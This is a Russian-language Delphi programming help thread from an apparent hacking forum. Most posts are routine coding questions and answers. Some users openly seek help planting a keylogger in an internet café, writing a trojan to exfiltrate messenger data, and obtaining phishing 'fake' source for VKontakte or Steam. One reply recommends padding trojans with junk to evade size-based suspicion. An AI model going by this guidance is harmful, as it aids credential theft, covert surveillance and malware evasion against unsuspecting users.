params:=TStringList.Create;
responseres:=TStringList.Create;
params.Add('f1');
params.Add('say=Привет);
params.Add('addr=Пирка);
responseres.Text:=http1.Post('http://www.mydomain.ru/refresh.php',params);
end;

дело в том что в form action ничего нет просто кавычки ""

[Nightmarе]

У кого нибудь есть рабочий пример как записать звук с микрофона в файл?
Желательно конечно же в низком формате с макс сжатием, но это желательно.
Главное просто рабочий код записи в файл...

[AlexTheC0d3r]

У кого нибудь есть рабочий пример как записать звук с микрофона в файл?
Желательно конечно же в низком формате с макс сжатием, но это желательно.
Главное просто рабочий код записи в файл...

http://www.delphisources.ru/pages/faq/base/record_sound.html

http://www.delphisources.ru/pages/faq/base/read_write_sound.html

http://www.delphisources.ru/pages/faq/base/wav_record.html

[f0rward]

Помогите пожалуйста написать код авторизации на сайте torents.ru
Там куки,а как с ними работать я не представляю.
Вот post-запрос :

redirect=index.php
cookie_test=xxxxxxxxxx
login_username=MyUser
login_password=MyPass
autologin=on
login=Вход

Вот это не работает:

procedure TForm1.Button1Click(Sender: TObject);
const
fact:shortString = 'http://torrents.ru/forum/login.php';
var
fGet,fPost:TStringList;
begin
fGet:=TStringList.Create;
fPost:=TStringList.Create;
IdHTTP1.AllowCookies:=true;
IdHTTP1.CookieManager:=IdCookieManager1;
IdHTTP1.HandleRedirects:=true;
With fPost do
begin //with
Add('redirect=index.php');
Add('cookie_test='); //òóò õç ÷òî ïèñàòü
Add('login_username=MyUser');
Add('login_password=MyPass');
Add('autologin=on');
Add('login=Âõîä');
end; //with
fGet.Text:=IdHTTP1.Post(fact,fPost);
If fGet.IndexOf('Âû çàøëè êàê') <> - 1 then
MessageBOX(Application.Handle,'Çàëîãèíèëèñü!','Óäà ÷íî!',mb_OK)
else
MessageBOX(Application,Handle,'Îøèáêà!','Íåóäà÷íî! ',mb_OK);
IdHTTP1.Free;
IdCookieManager1.Free;
fGet.Free;
fPost.Free;
end;

[slesh]

юзай WinInet - удобнее будет.
А вообще, сначало заходишь на страницу авторизации, там тебе ставятся куки, и потом с учетом этих куков делаешь запрос. Ну и конечно если куки еще в виде input hidden сделаны, то придется еще чуть отпарсить страницу

[art2222]

Всем ку.
Возникла такая проблема: имеется консольное приложение на Delphi. Необходимо очистить консольный вывод. Как это сделать?

[Nightmarе]

Подскажите как скопировать файл если он занят другой программой???
CopyFileTo в этом случае не работает.
В частности интересует копирование файла Messages.mdb из ICQ 6.5 пока клиент запущен и находится онлайн.

[KIR@PRO]

2Nightmarе

вот посмотри может поможет:
http://www.excode.ru/art5054p13.html

p.s. сам проверить немогу делфи на этом компе нету ):

[KIR@PRO]

2art2222

поищи про библиотеку CRT там есть функция очистки

ну или вот

//-----------------------------------------
// Установка курсора в координаты X, Y
//-----------------------------------------
procedure GotoXY(X, Y: Word);
begin
Coord.X := X;
Coord.Y := Y;
SetConsoleCursorPosition(ConHandle, Coord);
end;

//-----------------------------------------
// Очистка экрана - заполнение его пробелами
//-----------------------------------------
procedure Cls;
begin
Coord.X := 0;
Coord.Y := 0;
FillConsoleOutputCharacter(ConHandle, ' ', MaxX * MaxY, Coord, NOAW);
GotoXY(0, 0);
end;


источник: http://delphiworld.narod.ru/base/console_apps_in_delphi.html

[art2222]

Сам нашел еще один способ:

procedure ClearConsoleWindow;
var
ConsoleHandle:THandle;
ConsoleInfo: TConsoleScreenBufferInfo;
Coord:TCoord;
WrittenChars:DWORD;
begin
FillChar(ConsoleInfo,SizeOf(TConsoleScreenBufferIn fo),0);
FillChar(Coord,SizeOf(TCoord),0);
ConsoleHandle:=GetStdHandle(STD_OUTPUT_HANDLE);
GetConsoleScreenBufferInfo(ConsoleHandle, ConsoleInfo);
FillConsoleOutputCharacter(ConsoleHandle,' ', ConsoleInfo.dwSize.X * ConsoleInfo.dwSize.Y, Coord, WrittenChars);
SetConsoleCursorPosition(ConsoleHandle,ConsoleInfo .dwCursorPosition)
end;

[pira]

Подскажите как сделать чекер двух ссылок. Если ссыла main.php, то ничего не делать, а если index.php то сначала нажимается Button2 а Button1

[s0l_ir0n]

if Edit1.Text='index.php'
Then begin Button2.Click;
Button1.Click;
end;

[pira]

Мне надо чтобы он переодически проверял :) Раз в пять минут хотя бы :)

[][yZ]

намути таймер и туда этот код вставь

[KIR@PRO]

2pira

я так понял тебе надо не из edit а из браузера считывать.... или всетаки из edit'а ???

[Ant1Player]

Как реализовать запись hex в реестр, нужно в SmoothMouseXCurve записать hex:00,00,00,00,00,00,00,00,00 ,a0,00,00,00,00,00,00,00,40,\
01,00,00,00,00,00,00,80,02,00,00,00,00,00,00,00,05 ,00,00,00,00,00

[f0rward]

Поднимаю пост номер #3088,т.к. так и не понял.
Кто знает,напишите строку с куки pls.
Вот ещё раз код :

procedure TForm1.Button1Click(Sender: TObject);
const
fact:shortString = 'http://torrents.ru/forum/login.php';
var
fGet,fPost:TStringList;
begin
fGet:=TStringList.Create;
fPost:=TStringList.Create;
IdHTTP1.AllowCookies:=true;
IdHTTP1.CookieManager:=IdCookieManager1;
IdHTTP1.HandleRedirects:=true;
With fPost do
begin //with
Add('redirect=index.php');
Add('cookie_test=');
Add('login_username=MyUser');
Add('login_password=MyPass');
Add('autologin=on');
Add('login=Âõîä');
end; //with
fGet.Text:=IdHTTP1.Post(fact,fPost);
If fGet.IndexOf('Âû çàøëè êàê') <> - 1 then
MessageBOX(Application.Handle,'Connected!',' OK!',mb_OK)
else
MessageBOX(Application,Handle,'unsucsess',':(', mb_OK);
IdHTTP1.Free;
IdCookieManager1.Free;
fGet.Free;
fPost.Free;
end;

[Nightmarе]

Так всё-же может кто подкинуть код как скопировать файл если он занят другим процэссом???
Вот например:
procedure TForm1.Button1Click(Sender: TObject);
var
infs,outfs: tfilestream;
begin
infs := tfilestream.create( edit1.text, fmopenread );
outfs := tfilestream.create( edit2.text, fmcreate );
infs.free;
outfs.free;
end;
При занятости файла уведомляет ошибочкой, может fmopenread можно на что то заменить? ЧТобы было только чтение, а не открытие файла.

[Dr.Gonzo]

Кто-нибудь знает, как открыть Мой Компьютер?
Нужно именно программно вызвать его, но не в отдельном окне...
То есть, лежит exe файл в папке, при клике на него идем по заданному пути в этом же окне
Мои догадки:
1. Ищем в процессах проводник и делаем его активным
2. Эмулируем ввод в строку текста и нажатие Enter
У кого есть хоть какие-то варианты как это закодить или какие-нибудь другие способы добиться результата?

[eLWAux]

Кто-нибудь знает, как открыть Мой Компьютер?
http://delphiblog.ru/delphi-faq/files/sys-folders/

[Dr.Gonzo]

2 eLWAux:
спасибо, но немного не то.
Нужно так: чел открывает папку, где лежит прога, запускает ее, она берет окно этой самой папки и из него переходит в другую папку... как будто бы он запустил не файл, а кликнул по папке

[SaiRus]

2 eLWAux:
спасибо, но немного не то.
Нужно так: чел открывает папку, где лежит прога, запускает ее, она берет окно этой самой папки и из него переходит в другую папку... как будто бы он запустил не файл, а кликнул по папке
то есть окно это проводник? не лучше ли прописать одной строчкой в файле .js переход на каталог выше?или в бате...

[desTiny]

м?
winexec(PChar('explorer '+ExtractFilePath(Application.ExeName)), SW_SHOW);

[Dr.Gonzo]

2 desTiny: Спасибо:) Всё красиво, одной строчкой, вообще я до winexec даже и не додумался. Вот только папка в отдельном окне открывается, жаль:(\

2SaiRus: Это идея. А как такое можно сделать? Пробовал, но что-то не получилось... js, vbs, wsh

[GOODmen]

во входном файле input.txt в первой строке через пробел записано некоторое (возможно,дробное) число в системе счисления от 2 до 16,основание системы счисления,в которой записано это число,и основание системы счисления в которую требуеться перевести число.программа должна создать файл output.txt и записать в него ответ:числопереведенное в нужную систему счисления

[art2222]

Как на Delphi получить md5 файла, в таком виде:
280c7a8c3301f2d12b75e8cb57ac0440

[eLWAux]

Как на Delphi получить md5 файла, в таком виде:
280c7a8c3301f2d12b75e8cb57ac0440
в другом формате мд5 файла ты и не получишь :D

md5 строки:
http://www.delphisources.ru/pages/faq/base/md5.html
http://delphi.od.ua/article/a-50.html
http://delphi.about.com/od/objectpascalide/a/delphi-md5-hash.htm
http://www.slavssoft.ru/articles/?page=md5

md5 файла:
http://www.cyberforum.ru/post104544.html
или http://articles.org.ru/cn/showdetail.php?cid=7047
# function MD5File(const FileName: string): TMD5Digest;
# function MD5DigestToStr(const Digest: TMD5Digest): string;
юзаеш:
hash := MD5DigestToStr( MD5File( 'file.nana' ) );

[art2222]

hash := MD5DigestToStr( MD5File( 'file.nana' ) );
Спасибо, то, что и нужно было.

[НTL]

Нужно открыть txt фаил с сервера адрес примерно http://host/name.txt

И эту функу засунуть вместо функи открыть фаил с диска. исходник: http://www.rapidshare.ru/982142

[][yZ]

Вот, почитай http://forum.antichat.ru/showthread.php?t=101967

[desTiny]

2 desTiny: Спасибо:) Всё красиво, одной строчкой, вообще я до winexec даже и не додумался. Вот только папка в отдельном окне открывается, жаль:(\
ну одно окно можно найти по FindWindow, узнать его положение, закрыть и переместить новое на место старого

[KaZ@NoVa]

Кто-нибудь знает, как открыть Мой Компьютер?
Нужно именно программно вызвать его, но не в отдельном окне...
То есть, лежит exe файл в папке, при клике на него идем по заданному пути в этом же окне
Мои догадки:
1. Ищем в процессах проводник и делаем его активным
2. Эмулируем ввод в строку текста и нажатие Enter
У кого есть хоть какие-то варианты как это закодить или какие-нибудь другие способы добиться результата?

Конкретно для твоего случая для вызова "Мой компьютер" параметры функции будут иметь вид:
ShellExecute(Handle, 'open', PChar(GetSpecialPath(CSIDL_DRIVES)), nil, nil,sw_show).
Не забудь только подключить модуль ShellAPI в секции Uses.

P.S. И вообще, зная константы пространства имен можно открыть все что угодно!
Список констант можно найти здесь http://www.firststeps.ru/mfc/detail/r.php?48

[KaZ@NoVa]

Так всё-же может кто подкинуть код как скопировать файл если он занят другим процэссом???
Вот например:
procedure TForm1.Button1Click(Sender: TObject);
var
infs,outfs: tfilestream;
begin
infs := tfilestream.create( edit1.text, fmopenread );
outfs := tfilestream.create( edit2.text, fmcreate );
infs.free;
outfs.free;
end;
При занятости файла уведомляет ошибочкой, может fmopenread можно на что то заменить? ЧТобы было только чтение, а не открытие файла.
Стоит попробовать заменить TFileStream на TMemoryStream и загружать методом loadFromFile вроде! Да кроме того кажется там есть флаг при открытии - fmRead!

[Nightmarе]

MemoryStream - сегодня пробовал, тоже самое.
fmRead - нету такого.

[KaZ@NoVa]

попробуй так

infs := tfilestream.create( edit1.text, fmopenread, fmsharecompat );

вроде должно получится...
хотя может другая прога просто закрыла доступ к файлам. в принципе)))

[gLuk!]

Хелп, как определить системный каталог windows?

[Semus]

Хелп, как определить системный каталог windows?

Для этого необходимо использовать API-функцию:

GetSystemDirectory(Buffer: PChar; Size: Word);

Параметры
Buffer: Пpинимающий буфеp.
Size: Размеp буфеpа (не менее 144 символов).

[KaZ@NoVa]

Хелп, как определить системный каталог windows?
SelectDirectory, rxLib: TDirectoryEdit -вывод диалога выбора каталога
GetWindowsDirectory -каталог Windows

FillChar(PathArray,SizeOf(PathArray),#0);
GetWindowsDirectory(PathArray,255);
WindowsDirLabel.Caption:=Format('%s',[PathArray]);

Вместо WindowsDirLabel.Caption введешь то, куда тебе нужно написать путь к системному каталогу

[gLuk!]

спс

[WiPztin]

как сделать в паскале вопросы...
через текстовый документ?
т.е я хочу сделать так=>
в блокноте записать:
вопрос
1)вариант ответа
2)вариант ответа
3)вариант ответа

первый-верный!

нужно сделать так что бы он (верный ответ) на экран не выводился...
надеюсь поняли...

[gLuk!]

Я тебя плохо понля, ты имеешь ввиду файл типа:
-------------------------
Вопрос
Вариант 1
вариант 2
вариант 3
Номер правильного ответа
-------------------------
?
Ты хочешь что ли сделать вывод вопросов с 3 вариантами ответа? я правильно понял ?

[Martyr]

WiPztin
Я помню давненько писал приблизительную программку.Лови архив в нем исходники этой программы.Думаю разберешься,ничего сложного нет и если нужно допишешь по своему желанию.
_http://www.rapidshare.ru/984832

[Nightmarе]

Народ подскажите где в коде ошибка...

program lol;
{$APPTYPE CONSOLE}
uses windows, winsock,sysutils,MPlayer;
var
Media:TmediaPlayer;
BEGIN
with media do begin
filename := 'C:\system.wav';
open;
wait := false;
startrecording;
end;
END.

Вот небольшой консольный код, компилируется нормально, файл C:\system.wav существует, однако при запуске через CMD.exe вылетает с ошибкой:

Exception EAccessViolation in module lol.exe at 00047790.
Access violation at address 00447790 in module 'lol.exe'. Read of address 000
00094.

Если этот же кусок кода юзать в простом неконсольном приложении то никаких проблемм...
Подскажите плз где тут ошибка...

[KaZ@NoVa]

Nightmarе//Модуль к чему подключен?
media не создано, нужно его создать

program lol;
{$APPTYPE CONSOLE}
uses
SysUtils, MPlayer;
var
Media: TMediaPlayer;
BEGIN
Media := TMediaPlayer.Create(nil);
try
Media.Filename := 'C:\system.wav';
Media.Open;
Media.Wait := False;
Media.StartRecording;
finally
Media.Free;
end;
END.

[KaZ@NoVa]

как сделать в паскале вопросы...
через текстовый документ?
т.е я хочу сделать так=>
в блокноте записать:
вопрос
1)вариант ответа
2)вариант ответа
3)вариант ответа

первый-верный!

нужно сделать так что бы он (верный ответ) на экран не выводился...
надеюсь поняли...

то есть в условии сказано что первый верный заведомо?
и нумерация именно 1) 2) 3)
Если Да!!!
тогда можно считывать строку пока не конец файла
примерно
while not(eof(f)) do begin
readln(s);
if s[1] <> 1 then p[i]=s;
i:=i+1;
end;
где f - файл
s - строка
i - целое
p - array[1...d] of string;

всю прогу не пишу, но суть такая)

[gashish_tema]

написал кейлогер с использованием dll.. сделал exeшник с извлечением ресурсов exe и dll в C:/system/ и запуском exe после извлечения.. все хорошо но хотел закинуть это дело в интернет кафе а там учетная запись ограниченая то есть файлы при копировании в системные папки пишет отказ в доступе!!

подскажите как можно решить эту проблему? очень нужно!!

[Sin3v]

Как залить на фтп, ну или на хост чтобы не вводить логин и пароль, папки и в них еще есть файлы?

[KaZ@NoVa]

Как залить на фтп, ну или на хост чтобы не вводить логин и пароль, папки и в них еще есть файлы?
Ты сам читал, что написал? Я ничего не понял, напиши по-русски.

[Sin3v]

Ну у меня папка в ней папки а в папках файлы мне надо залить все из той папки на фтп программно

[KaZ@NoVa]

Ну у меня папка в ней папки а в папках файлы мне надо залить все из той папки на фтп программно
А тебе нужно просто скажем просто чтоб кто-то скачал это всё? или чтоб именно доступ был через фтп?
. просто если только скачать надо, то лучше сначала зазиповать всю папку, затем залить на файлообменник)
нормальный фтп серв вот
http://www.filehoster.ru/

ещё есть вариант злоупотребить моим доступом к одному серверу, но это может быть только на короткие сроки( пока не пропалит администрация)..
P.s Изучай теорию сокетов и протоколов.

[KaZ@NoVa]

написал кейлогер с использованием dll.. сделал exeшник с извлечением ресурсов exe и dll в C:/system/ и запуском exe после извлечения.. все хорошо но хотел закинуть это дело в интернет кафе а там учетная запись ограниченая то есть файлы при копировании в системные папки пишет отказ в доступе!!

подскажите как можно решить эту проблему? очень нужно!!
Там стоит поговорить с местным сисадмином. Если он не даст этого сделать то пути два: 1)смириться с проблемой 2) взломать комп. И то и то довольно сложно.

[Sin3v]

Короче пишу троя он дожен перелить все папки с файлами отсюда куданить на хост или на фтп чтобы не вводить логин и пароль C:\Documents and Settings\*******\Application Data\Mra\real_sinev@mail.ru

[gLuk!]

Вот собсно начал изучать WinSock в делфях. Вроде все сделал опираясь на готовые примеры.
Код:

program winsock;
{$APPTYPE CONSOLE}
uses
sysutils, winsock, windows;
const
port = 1221;
var
D:WSAData;
S:TSocket;
A:sockaddr_in;
sendbuf:String;
ip:string;
begin
sendbuf:='Hello world!!!';
writeln('IP:');
Readln(ip);
if WSAStartup(makeword(1,1),D)<>0 then
begin
writeln('error..');
exit;
end;
S:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
A.sin_family:=AF_INET;
A.sin_addr.S_addr:=inet_addr(pchar(ip));
if S=INVALID_SOCKET then writeln('Socket error.');
A.sin_port:=htons(port);
if connect(S,A,sizeof(TSockAddr))=0 then
Writeln('Connect!!!!');
Send(S,sendbuf,Length(sendbuf),0);
WSACleanup;
readln; readln;
end.

Сервер сделал с помощью компонента TServerSocket.
Коннект к серваку идет, а сообщение не приходит. В чем может быть проблема?

[KaZ@NoVa]

Вот собсно начал изучать WinSock в делфях. Вроде все сделал опираясь на готовые примеры.
Код:

program winsock;
{$APPTYPE CONSOLE}
uses
sysutils, winsock, windows;
const
port = 1221;
var
D:WSAData;
S:TSocket;
A:sockaddr_in;
sendbuf:String;
ip:string;
begin
sendbuf:='Hello world!!!';
writeln('IP:');
Readln(ip);
if WSAStartup(makeword(1,1),D)<>0 then
begin
writeln('error..');
exit;
end;
S:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
A.sin_family:=AF_INET;
A.sin_addr.S_addr:=inet_addr(pchar(ip));
if S=INVALID_SOCKET then writeln('Socket error.');
A.sin_port:=htons(port);
if connect(S,A,sizeof(TSockAddr))=0 then
Writeln('Connect!!!!');
Send(S,sendbuf,Length(sendbuf),0);
WSACleanup;
readln; readln;
end.

Сервер сделал с помощью компонента TServerSocket.
Коннект к серваку идет, а сообщение не приходит. В чем может быть проблема?

Возможно дело в IPPROTO_TCP
Наверное лучше просто вписать вместо него ноль и посмотреть что будет.
а ещё чтоб найти ошибку можно повыводить предварительные результаты( то есть то что возвращают нам функции на экран).
ещё можно попробовать вместо send SendTo

[gLuk!]

Пробовал 0 ставить и Send на SendTo менял... компилит нормально, коннект идет а сообщение не отправляет.

[MaTpOc]

Можно ли на Делфи написать программу, которая бы открывала ярлык подключения интернета, вписывала туда пароль и жмякала на подключение?

//просто у меня ночью инет вырубается а сам переподключиться не может =/

[kostoprav94]

Как сделать, чтоб после нажатия на кнопку, данные из Tedit 1 и Tedit 2 вставились в 2 поля на сайте ( как открывать сайт по нажатию кнопки я знаю), + нажался enter.

[KaZ@NoVa]

Пробовал 0 ставить и Send на SendTo менял... компилит нормально, коннект идет а сообщение не отправляет.
я вот тут поискал и нашёл хороший сайтик.
там довольно мало и кратко изложено, но в целом понятно.
http://forum.prologic.ws/lofiversion/index.php?t676....

к сожалению у себя протестировать всё это не могу( дульфи на виртуалке не установлен, а лазарус винсок не поддерживает как я понял)

Надеюсь эта страничка поможет.
ещё....сервер должен иметь функцию приёма пакета
она называется вроде recvfrom

[KaZ@NoVa]

Как сделать, чтоб после нажатия на кнопку, данные из Tedit 1 и Tedit 2 вставились в 2 поля на сайте ( как открывать сайт по нажатию кнопки я знаю), + нажался enter.
незнаю... по логике в браузере поля ввода как компоненты должны быть... как-то седержимое нвдо идентифицировать... а потом как с окном работать.

[kostoprav94]

Просто неоднократно видел например фейки ВКОНТАКЕТ которые заходят на учетную запись. Как такое сделать со стимом или чем-то другим я не знаю

[Nightmarе]

Nightmarе//Модуль к чему подключен?
media не создано, нужно его создать

ПРо несозданное медио я ещё вчера понял.
Теперь он мне ябёт мозги с десктиптором формы... :(

[KaZ@NoVa]

Как сделать, чтоб после нажатия на кнопку, данные из Tedit 1 и Tedit 2 вставились в 2 поля на сайте ( как открывать сайт по нажатию кнопки я знаю), + нажался enter.
на сайте?
сайт на PHP?

[kostoprav94]

Собственно вот ссылка https://steamcommunity.com/

[gashish_tema]

Там стоит поговорить с местным сисадмином. Если он не даст этого сделать то пути два: 1)смириться с проблемой 2) взломать комп. И то и то довольно сложно.

нет поговорть с ним не могу)) не поймет!! надо как то взломать или обойти, как?

[erolom]

Собственно просьба кто может скинуть исходники какого либо фейка написанного на Дельфи?И чтобы по этому примеру можно было б создать аналогичный фейк)

[AlexTheC0d3r]

Собственно просьба кто может скинуть исходники какого либо фейка написанного на Дельфи?И чтобы по этому примеру можно было б создать аналогичный фейк)


http://www.cod1ng.co.cc/2009/03/sbornik-fejkov-alexthec0d3r/

[AlexTheC0d3r]

незнаю... по логике в браузере поля ввода как компоненты должны быть... как-то седержимое нвдо идентифицировать... а потом как с окном работать.


каждое поле в html коде имеет имя!

кто спрашивал, по этому имени и обращяйся как к объекту, есть такая вещь как google, которая во многих случаях так помогает, что ппц :)

[НTL]

вот тут вопросиков у мну появилось:
Как заблокировать изменение размеров проги?
Как приклеить значек в Delphi 7

[AlexTheC0d3r]

вот тут вопросиков у мну появилось:
Как заблокировать изменение размеров проги?
Как приклеить значек в Delphi 7


можно извращенно:

поставить таймер с интервалом 1 и устанавливать ширину и высоту окна.

можно более логично:

убрать границы (border)

иконка:

project->options

и в свойствах формы - icon

[art2222]

вот тут вопросиков у мну появилось:
Как заблокировать изменение размеров проги?

В свойствах формы

BorderStyle=bsSingle
BorderIcons->biMaximize=false

Как приклеить значек в Delphi 7
Меню
Project->Options->Application->Load Icon

[AlexTheC0d3r]

Кто может доходчиво в icq объяснить работу с потоками? буду благодарен

[НTL]

Как на кнопку натянуть свою картинку? Чтобы она при нажатии выделялась так: ............... (точками вокруг)

+ ссылку (http) на текст надо положить

+ в поле Edit надо сделать отображение текста в виде звездочек

С меня +++

[KaZ@NoVa]

Кто может доходчиво в icq объяснить работу с потоками? буду благодарен
На примере какого языка???\

DELPHI
Каждая прога имеет процесс, в каждом процессе один или более потоков.
вообще потоки - такая весьма мнимая вещь. потому что они всё равно выполняются в процессоре последовательно.
реально параллельно она могут только на 2/4 ядерных работать.

скажем...создаём мы обычное приложение на формах (VCL-application).
Изначально мы имеем только один поток.
А в дельфе предусмотрен такой класс как TThread(вроде встроен, но точно не помню).
Он и управляет пакетами.
NewThread:=TNewThread.Create(true); - запускает поток с именем NewThread( предварительно надо объявить в var).
вся соль в тру/фолс.
тру - автоматически запустить поток
фолс - дождаться команды.
чаще используется тру.

Вот. поток создали. Теперь надо запустить.
Для этого создадим чтото вроде процедуры TNewThread.Execute

Называться должна именно Executr
В неё соответственно выполняем нужные нам действия.

Ещё полезные вещи....
New.FreeOnTerminate :=true/false
определяет будет ли уничтожен поток после завершения работы.

есть ещё NewThread.Priority
в нём приоритет потока указывавется( насколько он важен нам). какие значения принимает не помню.

NewThread.Resume; - ручной запуск потока( равносильно вызову екзекут).

[AlexTheC0d3r]

На примере какого языка???\

DELPHI
Каждая прога имеет процесс, в каждом процессе один или более потоков.
вообще потоки - такая весьма мнимая вещь. потому что они всё равно выполняются в процессоре последовательно.
реально параллельно она могут только на 2/4 ядерных работать.

скажем...создаём мы обычное приложение на формах (VCL-application).
Изначально мы имеем только один поток.
А в дельфе предусмотрен такой класс как TThread(вроде встроен, но точно не помню).
Он и управляет пакетами.
NewThread:=TNewThread.Create(true); - запускает поток с именем NewThread( предварительно надо объявить в var).
вся соль в тру/фолс.
тру - автоматически запустить поток
фолс - дождаться команды.
чаще используется тру.

Вот. поток создали. Теперь надо запустить.
Для этого создадим чтото вроде процедуры TNewThread.Execute

Называться должна именно Executr
В неё соответственно выполняем нужные нам действия.

Ещё полезные вещи....
New.FreeOnTerminate :=true/false
определяет будет ли уничтожен поток после завершения работы.

есть ещё NewThread.Priority
в нём приоритет потока указывавется( насколько он важен нам). какие значения принимает не помню.

NewThread.Resume; - ручной запуск потока( равносильно вызову екзекут).

разобрался до тебя, кстати по статейке намного понятнее

но всеравно +

[AlexTheC0d3r]

Как на кнопку натянуть свою картинку? Чтобы она при нажатии выделялась так: ............... (точками вокруг)

+ ссылку (http) на текст надо положить

+ в поле Edit надо сделать отображение текста в виде звездочек

С меня +++


edit со зведочками:

в свойствах этого едита passwordchar с #0 замени на *

ссылку на хттп - тебе понадобится компонент, хоте можно использовать shellexecute

shelexecute: в uses объявляешь shellapi
и используешь команду ShellExecute(0, 'open', pchar(адрес сайта), '', '', SW_SHOWNORMAL);

[KaZ@NoVa]

Как на кнопку натянуть свою картинку? Чтобы она при нажатии выделялась так: ............... (точками вокруг)

+ ссылку (http) на текст надо положить

+ в поле Edit надо сделать отображение текста в виде звездочек

С меня +++
1) там у кнопки есть свойство чтото вроде icon...
2) на HTML это <a href='address'>Text</a>
Но можно и извращенским методом забить кусок текста в один блок, в событие онклик вбить открытие в браузере адреса
3)nbgf gfhjkm&
типа пароль?*

[НTL]

1) там у кнопки есть свойство чтото вроде icon...

Нету там ниче ни про иконки ни про картинки

Хотя можно сделать просто закруглены края, но как?

2) на HTML это
Код HTML:

<a href='address'>Text</a>


Но можно и извращенским методом забить кусок текста в один блок, в событие онклик вбить открытие в браузере адреса

Ну и как я HTML засуну в delphi?
А вот про браузер по подробней

3) пароль я уже сделал

[AlexTheC0d3r]

Нету там ниче ни про иконки ни про картинки

Хотя можно сделать просто закруглены края, но как?



Ну и как я HTML засуну в delphi?
А вот про браузер по подробней

3) пароль я уже сделал


1 - добавь на форму xpmanifest

[НTL]

Осталася ссылка

[KaZ@NoVa]

насчёт иконки - есть) только что нашёл.
нужно создавать не просто батон а speedbutton
у него есть свойство glyph) там указывается файлик с картинкой (бмп). размер вроде 16*16.

[НTL]

насчёт иконки - есть) только что нашёл.
нужно создавать не просто батон а speedbutton
у него есть свойство glyph) там указывается файлик с картинкой (бмп). размер вроде 16*16.

Уже не надо, буду знать на будующие, мне осталось сделать только ссылку

[AlexTheC0d3r]

Осталася ссылка


я же уже все объяснил про ссылку

создаешь label, настраиваешь его вид, потом, и в евенте onClick ставишь ту комаманду

[НTL]

http://programmersforum.ru/showthread.php?t=35799

Уже разобрался

[НTL]

Как увеличить размер проги на 10мб? :)

[-m0rgan-]

Засрать код мусором ;)
Для этого можно заюзать прогу Rubbish 1.0

Её описание:
Rubbish 1.0 - небольшая программка созданная для искусственного увеличения размера файла путем добавления рандомного мусора в конец этого файла. Файлу этим не наноситься никаких повреждений и его функционал не теряется, - просто увеличивается его размер до нужной Вам величины.
Это бывает нужно в случаях, когда нужно что-бы троян весил побольше - что б по размеру нельзя было предположить о том, что это зловред.
Возможно для этого есть аналогичные программы, но отдельно их я не встречал - встречал их только в качестве "фич" к различным утилитам (аля РПоликрипт от Васьки).

Особенности программы и рекомендации:
* Выбираем файл, пишем на сколько КИЛОБАЙТ его увеличить (1 Мб = 1024 Кб), затем заходим в "Главное меню" и нажимаем на кнопку "Старт", по окончанию добавления программы выдаст соответствующий алерт об успешном завершении операции
* больше 10 Мб мусора добавлять не советую - столько мусора быстрее добавить руками (программа написана малость кривовато и столько мусора может ее повесить или она будет его добавлять достаточно долго)

Автор программы: polimorf
Описание взято от сюда: http://forum.xakepok.org/archive/index.php/t-3414.html

Скачать прогу тоже можна от туда ;)

[slesh]

copy /b proga.exe+file10mb.hzz proga10mb.exe )

[KaZ@NoVa]

Теперь он мне ябёт мозги с десктиптором формы... :(
Текст ошибки в студию. Код тоже

[НTL]

щя буду раздовать плюсы :)

Надо сделать:

1) В коде, если в поле edit1 или edit2 пытатся ввести русскую букву то он ее просто не напишет

2) в коде, если в поле edit1 меньше X символов или в поле edit2 меньше X символов, то сообщение и стоп на выполнение команд, если же нет то выполняем команды дальше

[art2222]

1) В коде, если в поле edit1 или edit2 пытатся ввести русскую букву то он ее просто не напишет

На OnKeyPress вешаешь

if (Key in ['А'..'Я','а'..'я']) then {тут чето делаешь}


2) в коде, если в поле edit1 меньше X символов или в поле edit2 меньше X символов, то сообщение и стоп на выполнение команд, если же нет то выполняем команды дальше


if (length(Edit1.text)<x) or (Length(edit2.text)<x) then
begin
ShowMessage('ялярма!');
exit;
end else
begin

end;

[НTL]

if (Key in ['А'..'Я','а'..'я']) then {тут чето делаешь} как правельно сказать ему что тогда не надо вписывать эти буквы

[AlexTheC0d3r]

как правельно сказать ему что тогда не надо вписывать эти буквы


выводи hint или popup

[НTL]

выводи hint или popup

Подробние

[Nizhegorodets]

Народ может об этом уже спрашивали, но на 318 страницах найти не смог...Слишком много букфф.
Короче суть проблемы вот в чем.
Как сделать так , чтобы при нажатии на батон три огонька на клавиатуре поочередно зажигались и гасли (типа гирлянда)
Понятное дело нужно съэмулировать нажатия на клавиши нумлок,капс и скрол.

Но как это сделать??? Погуглил нашел пару статей...Но самих исходников нету(((
Научился только пуск через кнопку открывать...
Кто знает плиз поделитесь исходниками...
С меня +)

[НTL]

Народ может об этом уже спрашивали, но на 318 страницах найти не смог...Слишком много букфф.
Короче суть проблемы вот в чем.
Как сделать так , чтобы при нажатии на батон три огонька на клавиатуре поочередно зажигались и гасли (типа гирлянда)
Понятное дело нужно съэмулировать нажатия на клавиши нумлок,капс и скрол.

Но как это сделать??? Погуглил нашел пару статей...Но самих исходников нету(((
Научился только пуск через кнопку открывать...
Кто знает плиз поделитесь исходниками...
С меня +)

эти кнопки называются #....номер кнопки... если найти эти номера и заставить прогу "Нажимать" на них то можно добится такова эфекта

[Nizhegorodets]

эти кнопки называются #....номер кнопки... если найти эти номера и заставить прогу "Нажимать" на них то можно добится такова эфекта
Спасибо)Надо попробовать)

[art2222]

Как сделать так , чтобы при нажатии на батон три огонька на клавиатуре поочередно зажигались и гасли (типа гирлянда)


type
TKeyType = (ktCapsLock, ktNumLock, ktScrollLock);

procedure SetLedState(KeyCode: TKeyType; bOn: Boolean);
var
KBState: TKeyboardState;
Code: Byte;
begin
case KeyCode of
ktScrollLock: Code := VK_SCROLL;
ktCapsLock: Code := VK_CAPITAL;
ktNumLock: Code := VK_NUMLOCK;
end;
GetKeyboardState(KBState);
if (Win32Platform = VER_PLATFORM_WIN32_NT) then
begin
if Boolean(KBState[Code]) <> bOn then
begin
keybd_event(Code,
MapVirtualKey(Code, 0),
KEYEVENTF_EXTENDEDKEY,
0);
keybd_event(Code,
MapVirtualKey(Code, 0),
KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP,
0);
end;
end
else
begin
KBState[Code] := Ord(bOn);
SetKeyboardState(KBState);
end;
end;


procedure TForm1.Button1Click(Sender: TObject);
begin
SetLedState(ktCapsLock, True); // CapsLock on
SetLedState(ktNumLock, True); // NumLock on
SetLedState(ktScrollLock, True); // ScrollLock on
end;


пользуй.

[FindeR]

как правельно сказать ему что тогда не надо вписывать эти буквы

if (Key in ['А'..'Я','а'..'я']) then key := char(0);
Вэлкам :)

